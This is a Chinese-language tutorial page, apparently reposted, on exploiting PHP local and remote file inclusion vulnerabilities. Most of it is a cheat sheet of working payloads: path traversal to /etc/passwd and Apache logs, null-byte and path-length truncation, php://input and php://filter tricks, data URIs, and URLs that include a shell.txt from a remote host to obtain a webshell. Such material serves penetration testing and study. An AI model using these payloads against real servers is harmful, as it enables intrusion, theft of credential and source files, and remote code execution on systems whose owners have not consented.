標籤:http os 使用 io 檔案 for 資料 ar div
-
PHP檔案包含漏洞利用
一、PHP配置在檔案包含中的運用
檔案包含漏洞即 當程式員在包含檔案的過程中引入了外部提交的資料參與包含的過程所產生的漏洞,這個漏洞是目前Web攻擊中最利用率最高的一個漏洞,攻擊者 可以輕鬆擷取伺服器的存取權限(即拿到webshell)。而檔案包含通常又有本地檔案包含(Local File Inclusion)和遠程檔案包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是決定包含屬於本地檔案包含(LFI)還是遠程檔案包含 (RFI)的條件,在PHP4中則只有一個allow_url_fopen選擇。其中allow_url_fopen和 allow_url_include為0n的情況為遠程檔案包含漏洞,相反為本地檔案包含漏洞。在檔案包含中典型的兩種格式如下:1.需要截斷的檔案包含include($_GET[‘sb‘]); include(“$_GET[‘dir‘]/test.php”);在這裡要想利用檔案包含就必須突破後面/test.php的限制,而通常截斷後面資料的有三個辦法。(1)使用%00來截斷適合場合:Magic_quote為off的情況下 2)使用?截斷適合場合:遠程檔案包含(RFI),相當於又構造了一次Get請求。http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt? (3)通過使路徑長度達到一定長度限制時截斷通常Windows的截斷長度為240,Linux的截斷長度為4096使用場合:均適用由於Windows和Linux的檔案名稱都有一個最大路徑長度(MAX_PATH)的限制,因此當提交檔案名稱的長度超過了最大路勁長度限制是就會截斷後面的內容,從而達到檔案包含的效果include.php?dir=http://127.0.0.1:81/shell.txt////////////////////////////////////////////////////////////////////// 2.直接包含的類型include(“$_GET[‘dir‘]“);可以直接在dir中指定檔案名稱就能實現檔案包含,而不需要經過截斷處理。在register_globals為on的情況下,如果變數未初始化則可以達到檔案包含的效果,通常網上發的檔案包含 漏洞都沒有上面兩種那麼直接,大部分需要register_globals的配合才能實現檔案包含。 基本的檔案包含漏洞:code : * 包含同路徑下的檔案:?file=.htaccess* 路徑遍曆:?file=../../../../../../../../../var/lib/locate.db(該檔案非常有趣因為它允許你搜尋檔案系統)* 包含注入PHP代碼的檔案:?file=../../../../../../../../../var/log/apache/error.log(you can find other possible Apache dirs here and other ways here. Think about all possible logfiles, file uploads, session files etc.) 受限的本地檔案包含:code : * Null 字元注入(Null Byte Injection):?file=../../../../../../../../../etc/passwd%00(需要magic_quotes_gpc=off)* 列目錄(Null Byte Injection):?file=../../../../../../../../../var/www/accounts/%00(僅限BSD, 需要magic_quotes_gpc=off,詳細資料here) *路徑截斷(Path Truncation):?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …(詳細資料參見 here 和 here)* 點號截斷:?file=../../../../../../../../../etc/passwd……………. …(僅限Windows, 更多細節參見 here) 基本的遠程檔案包含:code : * 包含遠程代碼(Including Remote Code):?file=[http|https|ftp]://websec.wordpress.com/shell.txt(需要 allow_url_fopen=On 和 allow_url_include=On)* 使用php輸入資料流(Using PHP stream php://input):?file=php://input(specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)* 使用PHP過濾函數(Using PHP stream php://filter):?file=php://filter/convert.base64-encode/resource=index.php(lets you read PHP source because it wont get evaluated in base64. More details here and here) * Using data URIs:?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=(需要 allow_url_include=On) * 用於跨站指令碼攻擊(Using XSS):?file=http://127.0.0.1/path/xss.php?xss=phpcode(makes sense if firewalled or only whitelisted domains allowed) 受限的遠程檔案包含漏洞code : * ?file=http://websec.wordpress.com/shell* ?file=http://websec.wordpress.com/shell.txt?* ?file=http://websec.wordpress.com/shell.txt%23(需要 allow_url_fopen=On 和 allow_url_include=On) 靜態遠程檔案包含漏洞:code : * 中間人攻擊(Man In The Middle)(lame indeed, but often forgotten)
PHP檔案包含漏洞利用